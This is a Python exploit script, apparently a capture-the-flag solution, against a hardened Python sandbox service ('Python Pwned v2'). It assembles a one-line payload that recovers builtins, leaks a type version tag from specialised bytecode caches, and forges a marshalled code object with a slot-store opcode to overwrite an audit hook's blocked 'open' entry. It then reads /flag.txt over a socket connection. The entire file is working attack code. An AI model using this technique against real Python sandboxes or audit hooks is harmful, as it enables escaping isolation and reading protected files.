#!/usr/bin/env python3
"""Exploit the hardened Python Pwned v2 service without external packages."""

from __future__ import annotations

import argparse
import re
import socket
import sys


FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^}\r\n]+\}")


def build_payload(flag_path: str) -> str:
    """Return the single source line consumed by app.py's input() call."""
    parts = [
        # Recover real builtins through an already-loaded frozen importer.
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins')",
        "s=b.__import__('sys')",
        "m=s.modules['marshal']",
        # Locate the exact tuple captured by the installed hook.
        "t=[x for x in s.modules['__main__'].auditor.__code__.co_consts "
        "if b.isinstance(x,b.tuple) and 'open' in x][0]",
        # Warm a tuple method access and recover tuple.tp_version_tag from its
        # specialized LOAD_ATTR_METHOD_NO_DICT cache (native bytes 8..11).
        "g=lambda x:x.count(None)",
        "[g(t) for _ in [0]*100]",
        "a=g.__code__._co_code_adaptive",
        # Reuse a lambda code object's valid metadata and replace its bytecode
        # inside a marshal stream.  Opcode 0x94 is STORE_ATTR_SLOT on 3.12.
        "c=(lambda:(v,o,v,o)).__code__",
        "i=b.tuple.__basicsize__+t.index('open')*b.tuple.__itemsize__",
        "r=b'\\x97\\x00\\x74\\x00'+b'\\x09\\x00'*4+"
        "b'\\x74\\x02'+b'\\x09\\x00'*4+b'\\x94\\x00\\x09\\x00'+"
        "a[8:12]+i.to_bytes(2,s.byteorder)+b'\\x79\\x00'",
        "r+=b'\\x09\\x00'*((b.len(c.co_code)-b.len(r))//2)",
        "q=m.dumps(c)",
        "j=q.find(c.co_code)",
        "e=m.loads(q[:j]+r+q[j+b.len(r):])",
        # This transfers a new string reference into the tuple, replacing the
        # hook's "open" pattern without violating STORE_ATTR_SLOT's refcounts.
        "b.eval(e,{'v':'x','o':t,'__builtins__':{}})",
        f"b.print(b.open({flag_path!r}).read())",
    ]
    payload = ";".join(parts)
    if "\n" in payload or "\r" in payload:
        raise ValueError("payload must fit on one input line")
    return payload


def receive_until(sock: socket.socket, marker: bytes) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def receive_all(sock: socket.socket) -> bytes:
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--flag-path", default="/flag.txt")
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload(args.flag_path)
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            receive_until(sock, b"$ ")
            sock.sendall(payload.encode() + b"\n")
            response = receive_all(sock)
    except OSError as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    match = FLAG_RE.search(response)
    if match is None:
        sys.stderr.buffer.write(b"target response: " + response + b"\n")
        parser.error("exploit ran, but no flag-shaped value was returned")

    sys.stdout.buffer.write(match.group(0) + b"\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())